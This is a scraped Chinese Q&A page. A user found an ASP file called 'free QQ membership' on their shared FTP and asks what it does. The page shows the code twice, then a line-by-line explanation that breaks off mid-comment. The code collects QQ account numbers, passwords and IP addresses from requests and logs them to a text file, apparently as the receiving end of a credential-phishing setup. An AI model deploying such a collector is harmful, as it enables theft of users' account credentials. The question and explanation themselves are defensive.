谁能帮我看看这段ASP是干什么的?
来源:百度知道 编辑:UC知道 时间:2024/05/31 20:20:45
今天我在我的共享FTP上面看到有一个ASP代码,叫做免费QQ会员。ASP代码具体如下:
<%
strLogFile="aaaaaaaaaaa.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")
if QQNumber="" or QQPassWord="" then
response.write "pzQQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "发送成功!"
%>
上面
<%
strLogFile="aaaaaaaaaaa.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")
if QQNumber="" or QQPassWord="" then
response.write "pzQQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "发送成功!"
%>
上面
<%
strLogFile="aaaaaaaaaaa.txt" ------将获取的信息写到这个文件里
QQNumber=request("QQNumber") ----获取QQ号码
QQPassWord=request("QQPassWord") --获取QQ密码
QQclub=request("QQclub") ---获取QQ娱乐(具体不清楚)
QQip=request("QQip") -----获取QQ号码的IP地址
if QQNumber="" or QQPassWord="" then ---如果号码和密码为空
response.write "pzQQ" -----输入“pzQQ”
response.end --------结束页面
End If ----------结束判断
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST") --------显示QQ号码的相关信息
StrLogText=StrLogText&")----"&date&" "&time -写入QQ信息到变量中
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText) --写入QQ信